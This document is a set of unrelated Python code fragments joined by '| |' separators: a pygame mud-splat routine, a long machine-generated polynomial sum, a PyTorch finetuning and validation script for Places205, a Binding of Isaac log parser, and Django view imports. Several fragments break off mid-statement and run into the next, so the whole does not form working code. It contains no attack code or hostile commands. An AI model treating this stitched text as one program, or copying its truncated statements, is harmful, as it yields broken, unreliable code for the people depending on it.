mudSplatRect.y = ((height * randNum) % (590 - 317)) + muddyShoeRect.y
mudArray.append(mudSplatRect)
elif scoreMultiplier == 2:
prn1 = randomNumber()
mudSplatRect1 = mudSplat.get_rect()
mudSplatRect1.x = ((width * prn1) % (656 - 334)) + muddyShoeRect.x
mudSplatRect1.y = ((height * prn1) % (590 - 317)) + muddyShoeRect.y
mudArray.append(mudSplatRect1)
myGen.setSeed(prn1)
prn2 = (myGen.next_prn() % 100) + 1
mudSplatRect2 = mudSplat.get_rect()
mudSplatRect2.x = ((width * prn2) | |
+ 2567649375 * uk_78
+ 901530225 * uk_79
+ 79 * uk_8
+ 316537279 * uk_80
+ 166375 * uk_81
+ 75625 * uk_82
+ 238975 * uk_83
+ 24200 * uk_84
+ 644325 * uk_85
+ 680625 * uk_86
+ 238975 * uk_87
+ 34375 * uk_88
+ 108625 * uk_89
+ 2572416961 * uk_9
+ 11000 * uk_90
+ 292875 * uk_91
+ 309375 * uk_92
+ 108625 * uk_93
+ 343255 * uk_94
+ 34760 * uk_95
+ 925485 * uk_96
+ 977625 * uk_97
+ 343255 * uk_98
+ 3520 * uk_99,
uk_0
+ 50719 * uk_1
+ 2789545 * uk_10
+ 141900 * uk_100
+ 148500 * uk_101
+ 16500 * uk_102
+ 2542375 * uk_103
+ 2660625 * uk_104
+ 295625 * uk_105
+ 2784375 * uk_106
+ 309375 * uk_107
+ 34375 * uk_108
+ 7301384 * uk_109
+ 9839486 * uk_11
+ 940900 * uk_110
+ 451632 * uk_111
+ 8091740 * uk_112
+ 8468100 * uk_113
+ 940900 * uk_114
+ 121250 * uk_115
+ 58200 * uk_116
+ 1042750 * uk_117
+ 1091250 * uk_118
+ 121250 * uk_119
+ 1267975 * uk_12
+ 27936 * uk_120
+ 500520 * uk_121
+ 523800 * uk_122
+ 58200 * uk_123
+ 8967650 * uk_124
+ 9384750 * uk_125
+ 1042750 * uk_126
+ 9821250 * uk_127
+ 1091250 * uk_128
+ 121250 * uk_129
+ 608628 * uk_13
+ 15625 * uk_130
+ 7500 * uk_131
+ 134375 * uk_132
+ 140625 * uk_133
+ 15625 * uk_134
+ 3600 * uk_135
+ 64500 * uk_136
+ 67500 * uk_137
+ 7500 * uk_138
+ 1155625 * uk_139
+ 10904585 * uk_14
+ 1209375 * uk_140
+ 134375 * uk_141
+ 1265625 * uk_142
+ 140625 * uk_143
+ 15625 * uk_144
+ 1728 * uk_145
+ 30960 * uk_146
+ 32400 * uk_147
+ 3600 * uk_148
+ 554700 * uk_149
+ 11411775 * uk_15
+ 580500 * uk_150
+ 64500 * uk_151
+ 607500 * uk_152
+ 67500 * uk_153
+ 7500 * uk_154
+ 9938375 * uk_155
+ 10400625 * uk_156
+ 1155625 * uk_157
+ 10884375 * uk_158
+ 1209375 * uk_159
+ 1267975 * uk_16
+ 134375 * uk_160
+ 11390625 * uk_161
+ 1265625 * uk_162
+ 140625 * uk_163
+ 15625 * uk_164
+ 3025 * uk_17
+ 10670 * uk_18
+ 1375 * uk_19
+ 55 * uk_2
+ 660 * uk_20
+ 11825 * uk_21
+ 12375 * uk_22
+ 1375 * uk_23
+ 37636 * uk_24
+ 4850 * uk_25
+ 2328 * uk_26
+ 41710 * uk_27
+ 43650 * uk_28
+ 4850 * uk_29
+ 194 * uk_3
+ 625 * uk_30
+ 300 * uk_31
+ 5375 * uk_32
+ 5625 * uk_33
+ 625 * uk_34
+ 144 * uk_35
+ 2580 * uk_36
+ 2700 * uk_37
+ 300 * uk_38
+ 46225 * uk_39
+ 25 * uk_4
+ 48375 * uk_40
+ 5375 * uk_41
+ 50625 * uk_42
+ 5625 * uk_43
+ 625 * uk_44
+ 130470415844959 * uk_45
+ 141482932855 * uk_46
+ 499048890434 * uk_47
+ 64310424025 * uk_48
+ 30869003532 * uk_49
+ 12 * uk_5
+ 553069646615 * uk_50
+ 578793816225 * uk_51
+ 64310424025 * uk_52
+ 153424975 * uk_53
+ 541171730 * uk_54
+ 69738625 * uk_55
+ 33474540 * uk_56
+ 599752175 * uk_57
+ 627647625 * uk_58
+ 69738625 * uk_59
+ 215 * uk_6
+ 1908860284 * uk_60
+ 245987150 * uk_61
+ 118073832 * uk_62
+ 2115489490 * uk_63
+ 2213884350 * uk_64
+ 245987150 * uk_65
+ 31699375 * uk_66
+ 15215700 * uk_67
+ 272614625 * uk_68
+ 285294375 * uk_69
+ 225 * uk_7
+ 31699375 * uk_70
+ 7303536 * uk_71
+ 130855020 * uk_72
+ 136941300 * uk_73
+ 15215700 * uk_74
+ 2344485775 * uk_75
+ 2453531625 * uk_76
+ 272614625 * uk_77
+ 2567649375 * uk_78
+ 285294375 * uk_79
+ 25 * uk_8
+ 31699375 * uk_80
+ 166375 * uk_81
+ 586850 * uk_82
+ 75625 * uk_83
+ 36300 * uk_84
+ 650375 * uk_85
+ 680625 * uk_86
+ 75625 * uk_87
+ 2069980 * uk_88
+ 266750 * uk_89
+ 2572416961 * uk_9
+ 128040 * uk_90
+ 2294050 * uk_91
+ 2400750 * uk_92
+ 266750 * uk_93
+ 34375 * uk_94
+ 16500 * uk_95
+ 295625 * uk_96
+ 309375 * uk_97
+ 34375 * uk_98
+ 7920 * uk_99,
uk_0
+ 50719 * uk_1
+ 2789545 * uk_10
+ 95480 * uk_100
+ 99000 * uk_101
+ 85360 * uk_102
+ 2589895 * uk_103
+ 2685375 * uk_104
+ 2315390 * uk_105
+ 2784375 * uk_106
+ 2400750 * uk_107
+ 2069980 * uk_108
+ 3944312 * uk_109
+ 8013602 * uk_11
+ 4843016 * uk_110
+ 199712 * uk_111
+ 5417188 * uk_112
+ 5616900 * uk_113
+ 4843016 * uk_114
+ 5946488 * uk_115
+ 245216 * uk_116
+ 6651484 * uk_117
+ 6896700 * uk_118
+ 5946488 * uk_119
+ 9839486 * uk_12
+ 10112 * uk_120
+ 274288 * uk_121
+ 284400 * uk_122
+ 245216 * uk_123
+ 7440062 * uk_124
+ 7714350 * uk_125
+ 6651484 * uk_126
+ 7998750 * uk_127
+ 6896700 * uk_128
+ 5946488 * uk_129
+ 405752 * uk_13
+ 7301384 * uk_130
+ 301088 * uk_131
+ 8167012 * uk_132
+ 8468100 * uk_133
+ 7301384 * uk_134
+ 12416 * uk_135
+ 336784 * uk_136
+ 349200 * uk_137
+ 301088 * uk_138
+ 9135266 * uk_139
+ 11006023 * uk_14
+ 9472050 * uk_140
+ 8167012 * uk_141
+ 9821250 * uk_142
+ 8468100 * uk_143
+ 7301384 * uk_144
+ 512 * uk_145
+ 13888 * uk_146
+ 14400 * uk_147
+ 12416 * uk_148
+ 376712 * uk_149
+ 11411775 * uk_15
+ 390600 * uk_150
+ 336784 * uk_151
+ 405000 * uk_152
+ 349200 * uk_153
+ 301088 * uk_154
+ 10218313 * uk_155
+ 10595025 * uk_156
+ 9135266 * uk_157
+ 10985625 * uk_158
+ 9472050 * uk_159
+ 9839486 * uk_16
+ 8167012 * uk_160
+ 11390625 * uk_161
+ 9821250 * uk_162
+ 8468100 * uk_163
+ 7301384 * uk_164
+ 3025 * uk_17
+ 8690 * uk_18
+ 10670 * uk_19
+ 55 * uk_2
+ 440 * uk_20
+ 11935 * uk_21
+ 12375 * uk_22
+ 10670 * uk_23
+ 24964 * uk_24
+ 30652 * uk_25
+ 1264 * uk_26
+ 34286 * uk_27
+ 35550 * uk_28
+ 30652 * uk_29
+ 158 * uk_3
+ 37636 * uk_30
+ 1552 * uk_31
+ 42098 * uk_32
+ 43650 * uk_33
+ 37636 * uk_34
+ 64 * uk_35
+ 1736 * uk_36
+ 1800 * uk_37
+ 1552 * uk_38
+ 47089 * uk_39
+ 194 * uk_4
+ 48825 * uk_40
+ 42098 * uk_41
+ 50625 * uk_42
+ 43650 * uk_43
+ 37636 * uk_44
+ 130470415844959 * uk_45
+ 141482932855 * uk_46
+ 406441879838 * uk_47
+ 499048890434 * uk_48
+ 20579335688 * uk_49
+ 8 * uk_5
+ 558214480537 * uk_50
+ 578793816225 * uk_51
+ 499048890434 * uk_52
+ 153424975 * uk_53
+ 440748110 * uk_54
+ 541171730 * uk_55
+ 22316360 * uk_56
+ 605331265 * uk_57
+ 627647625 * uk_58
+ 541171730 * uk_59
+ 217 * uk_6
+ 1266149116 * uk_60
+ 1554638788 * uk_61
+ 64108816 * uk_62
+ 1738951634 * uk_63
+ 1803060450 * uk_64
+ 1554638788 * uk_65
+ 1908860284 * uk_66
+ 78715888 * uk_67
+ 2135168462 * uk_68
+ 2213884350 * uk_69
+ 225 | |
val_dataset, sampler=val_sampler,
batch_size=args.batch_size, shuffle=(val_sampler is None),
# different gpu forward is different, thus it's necessary
num_workers=args.workers, pin_memory=True)
elif args.dataset == "Place205":
from data_processing.Place205_Dataset import Places205
normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],
std=[0.229, 0.224, 0.225])
if args.train_strong:
if args.randcrop:
transform_train = transforms.Compose([
transforms.RandomCrop(224),
transforms.RandomApply([
transforms.ColorJitter(0.4, 0.4, 0.4, 0.1) # not strengthened
], p=0.8),
transforms.RandomGrayscale(p=0.2),
transforms.RandomApply([GaussianBlur([.1, 2.])], p=0.5),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
normalize
])
else:
transform_train = transforms.Compose([
transforms.RandomResizedCrop(224, scale=(0.2, 1.)),
transforms.RandomApply([
transforms.ColorJitter(0.4, 0.4, 0.4, 0.1) # not strengthened
], p=0.8),
transforms.RandomGrayscale(p=0.2),
transforms.RandomApply([GaussianBlur([.1, 2.])], p=0.5),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
normalize
])
else:
if args.randcrop:
transform_train = transforms.Compose([
transforms.RandomCrop(224),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
normalize, ])
else:
transform_train = transforms.Compose([
transforms.RandomResizedCrop(224),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
normalize, ])
# waiting to add 10 crop
transform_valid = transforms.Compose([
transforms.Resize([256, 256]),
transforms.CenterCrop(224),
transforms.ToTensor(),
normalize,
])
train_dataset = Places205(args.data, 'train', transform_train)
valid_dataset = Places205(args.data, 'val', transform_valid)
if args.distributed:
train_sampler = torch.utils.data.distributed.DistributedSampler(train_dataset)
val_sampler = torch.utils.data.distributed.DistributedSampler(valid_dataset, shuffle=False)
# val_sampler = None
else:
train_sampler = None
val_sampler = None
train_loader = torch.utils.data.DataLoader(
train_dataset, batch_size=args.batch_size, shuffle=(train_sampler is None),
num_workers=args.workers, pin_memory=True, sampler=train_sampler)
val_loader = torch.utils.data.DataLoader(
valid_dataset, sampler=val_sampler,
batch_size=args.batch_size,
num_workers=args.workers, pin_memory=True)
else:
print("your dataset %s is not supported for finetuning now" % args.dataset)
exit()
if args.evaluate:
validate(val_loader, model, criterion, args)
return
import datetime
today = datetime.date.today()
formatted_today = today.strftime('%y%m%d')
now = time.strftime("%H:%M:%S")
save_path = os.path.join(args.save_path, args.log_path)
log_path = os.path.join(save_path, 'Finetune_log')
mkdir(log_path)
log_path = os.path.join(log_path, formatted_today + now)
mkdir(log_path)
# model_path=os.path.join(log_path,'checkpoint.pth.tar')
lr_scheduler = None
if args.sgdr == 1:
lr_scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, 12)
elif args.sgdr == 2:
lr_scheduler = torch.optim.lr_scheduler.CosineAnnealingWarmRestarts(optimizer, args.sgdr_t0, args.sgdr_t_mult)
for epoch in range(args.start_epoch, args.epochs):
if args.distributed:
train_sampler.set_epoch(epoch)
if args.sgdr == 0:
adjust_learning_rate(optimizer, epoch, args)
train(train_loader, model, criterion, optimizer, epoch, args, lr_scheduler)
# evaluate on validation set
acc1 = validate(val_loader, model, criterion, args)
# remember best acc@1 and save checkpoint
is_best = acc1 > best_acc1
best_acc1 = max(acc1, best_acc1)
if not args.multiprocessing_distributed or (args.multiprocessing_distributed
and args.rank % ngpus_per_node == 0):
# add timestamp
tmp_save_path = os.path.join(log_path, 'checkpoint.pth.tar')
save_checkpoint({
'epoch': epoch + 1,
'arch': args.arch,
'state_dict': model.state_dict(),
'best_acc1': best_acc1,
'optimizer': optimizer.state_dict(),
}, is_best, filename=tmp_save_path)
if abs(args.epochs - epoch) <= 20:
tmp_save_path = os.path.join(log_path, 'model_%d.pth.tar' % epoch)
save_checkpoint({
'epoch': epoch + 1,
'arch': args.arch,
'state_dict': model.state_dict(),
'best_acc1': best_acc1,
'optimizer': optimizer.state_dict(),
}, False, filename=tmp_save_path)
def train(train_loader, model, criterion, optimizer, epoch, args, lr_scheduler):
batch_time = AverageMeter('Time', ':6.3f')
data_time = AverageMeter('Data', ':6.3f')
losses = AverageMeter('Loss', ':.4e')
top1 = AverageMeter('Acc@1', ':6.2f')
top5 = AverageMeter('Acc@5', ':6.2f')
mAP = AverageMeter("mAP", ":6.2f")
progress = ProgressMeter(
len(train_loader),
[batch_time, data_time, losses, top1, top5, mAP],
prefix="Epoch: [{}]".format(epoch))
"""
Switch to eval mode:
Under the protocol of linear classification on frozen features/models,
it is not legitimate to change any part of the pre-trained model.
BatchNorm in train mode may revise running mean/std (even if it receives
no gradient), which are part of the model parameters too.
"""
model.eval()
batch_total = len(train_loader)
end = time.time()
for i, (images, target) in enumerate(train_loader):
# measure data loading time
data_time.update(time.time() - end)
# adjust_batch_learning_rate(optimizer, epoch, i, batch_total, args)
if args.gpu is not None:
images = images.cuda(args.gpu, non_blocking=True)
target = target.cuda(args.gpu, non_blocking=True)
# compute output
output = model(images)
loss = criterion(output, target)
# measure accuracy and record loss
acc1, acc5 = accuracy(output, target, topk=(1, 5))
losses.update(loss.item(), images.size(0))
top1.update(acc1.item(), images.size(0))
top5.update(acc5.item(), images.size(0))
# compute gradient and do SGD step
optimizer.zero_grad()
loss.backward()
optimizer.step()
if args.sgdr != 0:
lr_scheduler.step(epoch + i / batch_total)
# measure elapsed time
batch_time.update(time.time() - end)
end = time.time()
if i % args.print_freq == 0:
progress.display(i)
def train2(train_loader, model, criterion, optimizer, epoch, args):
batch_time = AverageMeter('Time', ':6.3f')
data_time = AverageMeter('Data', ':6.3f')
losses = AverageMeter('Loss', ':.4e')
top1 = AverageMeter('Acc@1', ':6.2f')
top5 = AverageMeter('Acc@5', ':6.2f')
mAP = AverageMeter("mAP", ":6.2f")
progress = ProgressMeter(
len(train_loader),
[batch_time, data_time, losses, top1, top5, mAP],
prefix="Epoch: [{}]".format(epoch))
"""
Switch to eval mode:
Under the protocol of linear classification on frozen features/models,
it is not legitimate to change any part of the pre-trained model.
BatchNorm in train mode may revise running mean/std (even if it receives
no gradient), which are part of the model parameters too.
"""
model.eval()
end = time.time()
for i, (images, target) in enumerate(train_loader):
# measure data loading time
data_time.update(time.time() - end)
if args.gpu is not None:
len_images = len(images)
for k in range(len(images)):
images[k] = images[k].cuda(args.gpu, non_blocking=True)
target = target.cuda(args.gpu, non_blocking=True)
len_images = len(images)
first_output = -1
for k in range(len_images):
# compute gradient and do SGD step
optimizer.zero_grad()
output = model(images[k])
loss = criterion(output, target)
loss.backward()
optimizer.step()
losses.update(loss.item(), images[k].size(0))
if k == 0:
first_output = output
images = images[0]
output = first_output
# measure accuracy and record loss
acc1, acc5 = accuracy(output, target, topk=(1, 5))
top1.update(acc1.item(), images.size(0))
top5.update(acc5.item(), images.size(0))
# measure elapsed time
batch_time.update(time.time() - end)
end = time.time()
if i % args.print_freq == 0:
progress.display(i)
def validate(val_loader, model, criterion, args):
batch_time = AverageMeter('Time', ':6.3f')
losses = AverageMeter('Loss', ':.4e')
top1 = AverageMeter('Acc@1', ':6.2f')
top5 = AverageMeter('Acc@5', ':6.2f')
mAP = AverageMeter("mAP", ":6.2f")
progress = ProgressMeter(
len(val_loader),
[batch_time, losses, top1, top5, mAP],
prefix='Test: ')
# switch to evaluate mode
model.eval()
with torch.no_grad():
end = time.time()
for i, (images, target) in enumerate(val_loader):
target = target.cuda(args.gpu, non_blocking=True)
output = model(images)
acc1, acc5 = accuracy(output, target, topk=(1, 5))
acc1 = torch.mean(concat_all_gather(acc1.unsqueeze(0)), dim=0, keepdim=True)
acc5 = torch.mean(concat_all_gather(acc5.unsqueeze(0)), dim=0, keepdim=True)
top1.update(acc1.item(), images.size(0))
top5.update(acc5.item(), images.size(0))
loss = criterion(output, target)
losses.update(loss.item(), images.size(0))
# measure elapsed time
batch_time.update(time.time() - end)
end = time.time()
if i % args.print_freq == 0:
progress.display(i)
# TODO: this should also be done with the ProgressMeter
print(' * Acc@1 {top1.avg:.3f} Acc@5 {top5.avg:.3f} mAP {mAP.avg:.3f} '
.format(top1=top1, top5=top5, mAP=mAP))
return top1.avg
def save_checkpoint(state, is_best, filename='checkpoint.pth.tar'):
torch.save(state, filename)
if is_best:
root_path = os.path.split(filename)[0]
best_path = os.path.join(root_path, "model_best.pth.tar")
shutil.copyfile(filename, best_path)
def sanity_check(state_dict, pretrained_weights):
"""
Linear classifier should not change any weights other than the linear layer.
This sanity check asserts nothing wrong happens (e.g., BN stats updated).
"""
print("=> loading '{}' for sanity check".format(pretrained_weights))
checkpoint = torch.load(pretrained_weights, map_location="cpu")
state_dict_pre = checkpoint['state_dict']
for k in list(state_dict.keys()):
# only ignore fc layer
if 'fc.weight' in k or 'fc.bias' in k:
continue
# name in pretrained model
k_pre = 'module.encoder_q.' + k[len('module.'):] \
if k.startswith('module.') else 'module.encoder_q.' + k
assert ((state_dict[k].cpu() == state_dict_pre[k_pre]).all()), \
'{} is changed in linear classifier training.'.format(k)
print("=> sanity check passed.")
class AverageMeter(object):
"""Computes and stores the average and current value"""
def __init__(self, name, fmt=':f'):
self.name = name
self.fmt = fmt
self.reset()
def reset(self):
self.val = 0
self.avg = 0
self.sum = 0
self.count = 0
def update(self, val, n=1):
self.val = val
self.sum += val * n
self.count += n
self.avg = self.sum / self.count
def __str__(self):
fmtstr = '{name} {val' + self.fmt + '} ({avg' + self.fmt + '})'
return fmtstr.format(**self.__dict__)
class ProgressMeter(object):
def __init__(self, num_batches, meters, prefix=""):
self.batch_fmtstr = self._get_batch_fmtstr(num_batches)
self.meters = meters
self.prefix = prefix
def display(self, batch):
entries = [self.prefix + self.batch_fmtstr.format(batch)]
entries += [str(meter) for meter in self.meters]
print('\t'.join(entries))
def _get_batch_fmtstr(self, num_batches):
num_digits = len(str(num_batches // 1))
fmt = '{:' + str(num_digits) + 'd}'
return '[' + fmt + '/' + fmt.format(num_batches) + ']'
import math
def adjust_learning_rate(optimizer, epoch, args):
"""Decay the learning rate based on schedule"""
lr = args.lr
end_lr = args.final_lr
# update on cos scheduler
# this scheduler is not proper enough
if args.cos:
lr = 0.5 * (1. + math.cos(math.pi * epoch / args.epochs)) * (lr - end_lr) + end_lr
else:
for milestone in args.schedule:
lr *= 0.1 if epoch >= milestone else 1.
for param_group in optimizer.param_groups:
param_group['lr'] = lr
def adjust_batch_learning_rate(optimizer, cur_epoch, cur_batch, batch_total, args):
"""Decay the learning rate based on schedule"""
init_lr = args.lr
# end_lr=args.final_lr
# update on cos scheduler
# this scheduler is not proper enough
current_schdule = 0
# use_epoch=cur_epoch
last_milestone = 0
for milestone in args.schedule:
if cur_epoch > milestone:
current_schdule += 1
init_lr *= 0.1
last_milestone = milestone
else:
cur_epoch -= last_milestone
break
if current_schdule < len(args.schedule):
all_epochs = args.schedule[current_schdule]
else:
all_epochs = args.epochs
end_lr = init_lr * 0.1
lr = math.cos(
0.5 * math.pi * (cur_batch + cur_epoch * batch_total) / ((all_epochs - last_milestone) * batch_total)) * (
init_lr - end_lr) + | |
""" This module handles everything related to log parsing """
import re # For parsing the log file (regular expressions)
import os # For working with files on the operating system
import logging # For logging
from game_objects.item import Item
from game_objects.floor import Floor, Curse
from game_objects.state import TrackerState
from options import Options
class LogParser(object):
"""
This class loads Isaac's log file, and incrementally modify a state representing this log
"""
def __init__(self, prefix, tracker_version, log_finder):
self.state = TrackerState("", tracker_version, Options().game_version, "", "", -1)
self.log = logging.getLogger("tracker")
self.wdir_prefix = prefix
self.log_finder = log_finder
self.reset()
def reset(self):
"""Reset variable specific to the log file/run"""
# Variables describing the parser state
self.getting_start_items = False
self.reseeding_floor = False
self.current_seed = ""
# Cached contents of log
self.content = ""
# Log split into lines
self.splitfile = []
self.run_start_line = 0
self.seek = 0
self.spawned_coop_baby = 0
self.log_file_handle = None
# if they switched between rebirth and afterbirth, the log file we use could change
self.log_file_path = self.log_finder.find_log_file(self.wdir_prefix)
self.state.reset(self.current_seed, Options().game_version, "")
self.greed_mode_starting_rooms = ('1.1000','1.1010','1.1011','1.1012','1.1013','1.1014','1.1015','1.1016','1.1017','1.1018','1.2000','1.2001','1.2002','1.2003','1.2004','1.2005','1.2006','1.2007','1.2008','1.2009','1.3000','1.3001','1.3002','1.3003','1.3004','1.3005','1.3006','1.3007','1.3008','1.3009','1.3010','1.4000','1.4001','1.4002','1.4003','1.4004','1.4005','1.4006','1.4007','1.4008','1.4009','1.4010','1.5000','1.5001','1.5002','1.5003','1.5004','1.5005','1.5006','1.5007','1.5008','1.5009','1.5010','1.6000','1.6001','1.6002','1.6003','1.6004','1.6005','1.6006','1.6007','1.6008','1.6009')
self.first_floor = None
self.first_line = ""
self.curse_first_floor = ""
def parse(self):
"""
Parse the log file and return a TrackerState object,
or None if the log file couldn't be found
"""
self.opt = Options()
# Attempt to load log_file
if not self.__load_log_file():
return None
self.splitfile = self.content.splitlines()
# This will become true if we are getting starting items
self.getting_start_items = False
# Process log's new output
for current_line_number, line in enumerate(self.splitfile[self.seek:]):
self.__parse_line(current_line_number, line)
self.seek = len(self.splitfile)
return self.state
def __parse_line(self, line_number, line):
"""
Parse a line using the (line_number, line) tuple
"""
# In Afterbirth+, nearly all lines start with this.
# We want to slice it off.
info_prefix = '[INFO] - '
if line.startswith(info_prefix):
line = line[len(info_prefix):]
# Messages printed by mods have this prefix.
# strip it, so mods can spoof actual game log messages to us if they want to
luadebug_prefix ='Lua Debug: '
if line.startswith(luadebug_prefix):
line = line[len(luadebug_prefix):]
# AB and AB+ version messages both start with this text (AB+ has a + at the end)
if line.startswith('Binding of Isaac: Repentance') or line.startswith('Binding of Isaac: Afterbirth') or line.startswith('Binding of Isaac: Rebirth'):
self.__parse_version_number(line)
if line.startswith('welcomeBanner:'):
self.__parse_version_number(line, True)
if line.startswith('Loading PersistentData'):
self.__parse_save(line)
if line.startswith('RNG Start Seed:'):
self.__parse_seed(line, line_number)
if line.startswith('Initialized player with Variant') and self.state.player == -1:
self.__parse_player(line)
if self.opt.game_version == "Repentance" and line.startswith('Level::Init') and self.state.greedmode is None: # Store the line of the first floor in Repentance because we can detect if we are in greed mode only after this line in the log
self.first_line = line
self.curse_first_floor = ""
elif line.startswith('Level::Init'):
self.__parse_floor(line, line_number)
if line.startswith('Room'):
self.__parse_room(line)
if self.opt.game_version == "Repentance":
self.detect_greed_mode(line, line_number)
self.state.remove_additional_char_items()
if line.startswith("Curse"):
self.__parse_curse(line)
if line.startswith("Spawn co-player!"):
self.spawned_coop_baby = line_number + self.seek
if re.search(r"Added \d+ Collectibles", line):
self.log.debug("Reroll detected!")
self.state.reroll()
if line.startswith('Adding collectible '):
self.__parse_item_add(line_number, line)
if line.startswith('Gulping trinket ') or line.startswith('Adding smelted trinket '):
self.__parse_trinket_gulp(line)
if line.startswith('Removing collectible ') or line.startswith('Removing smelted trinket '):
self.__parse_item_remove(line)
if line.startswith('Executing command: reseed'):
# racing+ re-generates floors if they contain duplicate rooms. we need to track that this is happening
# so we don't erroneously think the entire run is being restarted when it happens on b1.
self.reseeding_floor = True
def __trigger_new_run(self, line_number):
self.log.debug("Starting new run, seed: %s", self.current_seed)
self.run_start_line = line_number + self.seek
self.state.reset(self.current_seed, Options().game_version, self.state.racing_plus_version)
def __parse_version_number(self, line, racingplus=False):
words = line.split()
if not racingplus:
self.state.version_number = words[-1]
else:
regexp_str = r"welcomeBanner:(\d+) - [|] Racing[+] (\d+).(\d+).(\d+) initialized."
search_result = re.search(regexp_str, line)
if search_result is None:
return False
self.state.racing_plus_version = "/ R+: "+ str(int(search_result.group(2))) + "." + str(int(search_result.group(3))) + "." + str(int(search_result.group(4))) if search_result is not None else ""
def __parse_save(self,line):
regexp_str = r"Loading PersistentData (\d+)"
search_result = re.search(regexp_str, line)
self.state.save = int(search_result.group(1)) if search_result is not None else 0
def __parse_seed(self, line, line_number):
""" Parse a seed line """
# This assumes a fixed width, but from what I see it seems safe
self.current_seed = line[16:25]
space_split = line.split(" ")
# Antibirth doesn't have a proper way to detect run resets
# it will wipe the tracker when doing a "continue"
if (self.opt.game_version == "Repentance" and space_split[6] in ('[New,', '[Daily,')) or self.opt.game_version == "Antibirth":
self.__trigger_new_run(line_number)
elif (self.opt.game_version == "Repentance" and space_split[6] == '[Continue,'):
self.state.load_from_export_state()
def __parse_player(self, line):
regexp_str = r"Initialized player with Variant (\d+) and Subtype (\d+)"
search_result = re.search(regexp_str, line)
self.state.player = int(search_result.group(2)) if search_result is not None else 8 # Put it on Lazarus by default
def __parse_room(self, line):
""" Parse a room line """
if 'Start Room' not in line:
self.getting_start_items = False
match = re.search(r"Room (.+?)\(", line)
if match:
room_id = match.group(1)
self.state.change_room(room_id)
def detect_greed_mode(self, line, line_number):
# Detect if we're in Greed mode or not in Repentance. We must do a ton of hacky things to show the first floor with curses because we can't detect greed mode in one line anymore
match = re.search(r"Room (.+?)\(", line)
if match:
room_id = match.group(1)
if room_id == '18.1000': # Genesis room
self.state.item_list = []
self.state.set_transformations()
elif self.state.greedmode is None:
self.state.greedmode = room_id in self.greed_mode_starting_rooms
self.__parse_floor(self.first_line, line_number)
self.__parse_curse(self.curse_first_floor)
def __parse_floor(self, line, line_number):
""" Parse the floor in line and push it to the state """
# Create a floor tuple with the floor id and the alternate id
if self.opt.game_version == "Afterbirth" or self.opt.game_version == "Afterbirth+" or self.opt.game_version == "Repentance":
regexp_str = r"Level::Init m_Stage (\d+), m_StageType (\d+)"
elif self.opt.game_version == "Rebirth" or self.opt.game_version == "Antibirth":
regexp_str = r"Level::Init m_Stage (\d+), m_AltStage (\d+)"
else:
return
search_result = re.search(regexp_str, line)
if search_result is None:
self.log.debug("log.txt line doesn't match expected regex\nline: \"" + line+ "\"\nregex:\"" + regexp_str + "\"")
return
floor = int(search_result.group(1))
alt = search_result.group(2)
self.getting_start_items = True
# we use generation of the first floor as our trigger that a new run started.
# in racing+, it doesn't count if the game is currently in the process of "reseeding" that floor.
# in antibirth, this doesn't work at all; instead we have to use the seed being printed as our trigger.
# that means if you s+q in antibirth, it resets the tracker.
# In Repentance, Downpour 1 and Dross 1 are considered Stage 1.
# So we need to add a condition to avoid tracker resetting when entering those floors.
# In Repentance, don't trigger a new run on floor 1 because of the R Key item
if self.reseeding_floor:
self.reseeding_floor = False
elif floor == 1 and self.opt.game_version != "Antibirth" and self.opt.game_version != "Repentance":
self.__trigger_new_run(line_number)
# Special handling for the Cathedral and The Chest and Afterbirth
if self.opt.game_version == "Afterbirth" or self.opt.game_version == "Afterbirth+" or self.opt.game_version == "Repentance":
self.log.debug("floor")
# In Afterbirth, Cath is an alternate of Sheol (which is 10)
# and Chest is an alternate of Dark Room (which is 11)
# In Repentance, alt paths are same stage as their counterparts (ex: Basement 1 = Downpour 1)
if alt == '4' or alt == '5':
floor += 15
elif floor == 10 and alt == '0':
floor -= 1
elif floor == 11 and alt == '1':
floor += 1
elif floor == 9:
floor = 13
elif floor == 12:
floor = 14
elif floor == 13:
floor = 15
else:
# In Rebirth, floors have different numbers
if alt == '1' and (floor == 9 or floor == 11):
floor += 1
floor_id = 'f' + str(floor)
# Greed mode
if (alt == '3' and self.opt.game_version != "Repentance") or (self.opt.game_version == "Repentance" and self.state.greedmode):
floor_id += 'g'
self.state.add_floor(Floor(floor_id))
self.state.export_state()
return True
def __parse_curse(self, line):
""" Parse the curse and add it to the last floor """
if self.state.racing_plus_version != "":
return
if self.curse_first_floor == "":
self.curse_first_floor = line
elif self.state.greedmode is not None:
self.curse_first_floor = ""
if line.startswith("Curse of the Labyrinth!") or (self.curse_first_floor == "Curse of the Labyrinth!" and self.opt.game_version == "Repentance"):
self.state.add_curse(Curse.Labyrinth)
if line.startswith("Curse of Blind") or (self.curse_first_floor == "Curse of Blind" and | |
<filename>apps/logs/views.py
from collections import Counter
from functools import reduce
from pprint import pprint
from time import monotonic
from core.exceptions import BadRequestException
from core.filters import PkMultiValueFilterBackend
from core.logic.dates import date_filter_from_params, parse_month
from core.logic.serialization import parse_b64json
from core.models import REL_ORG_ADMIN, DataSource
from core.permissions import (
CanAccessOrganizationFromGETAttrs,
CanAccessOrganizationRelatedObjectPermission,
CanPostOrganizationDataPermission,
ManualDataUploadEnabledPermission,
OrganizationRequiredInDataForNonSuperusers,
OwnerLevelBasedPermissions,
SuperuserOrAdminPermission,
)
from core.prometheus import report_access_time_summary, report_access_total_counter
from core.validators import month_validator, pk_list_validator
from django.conf import settings
from django.core.cache import cache
from django.core.exceptions import BadRequest
from django.db.models import Count, Exists, OuterRef, Prefetch, Q
from django.db.transaction import atomic
from django.http import JsonResponse
from django.urls import reverse
from django.views import View
from organizations.logic.queries import organization_filter_from_org_id
from pandas import DataFrame
from rest_framework import status
from rest_framework.decorators import action
from rest_framework.exceptions import PermissionDenied
from rest_framework.fields import CharField, ListField
from rest_framework.generics import get_object_or_404
from rest_framework.pagination import PageNumberPagination
from rest_framework.permissions import IsAuthenticated
from rest_framework.response import Response
from rest_framework.serializers import DateField, IntegerField, Serializer
from rest_framework.status import HTTP_200_OK, HTTP_201_CREATED, HTTP_400_BAD_REQUEST
from rest_framework.views import APIView
from rest_framework.viewsets import ModelViewSet, ReadOnlyModelViewSet
from rest_pandas import PandasView
from scheduler.models import FetchIntention
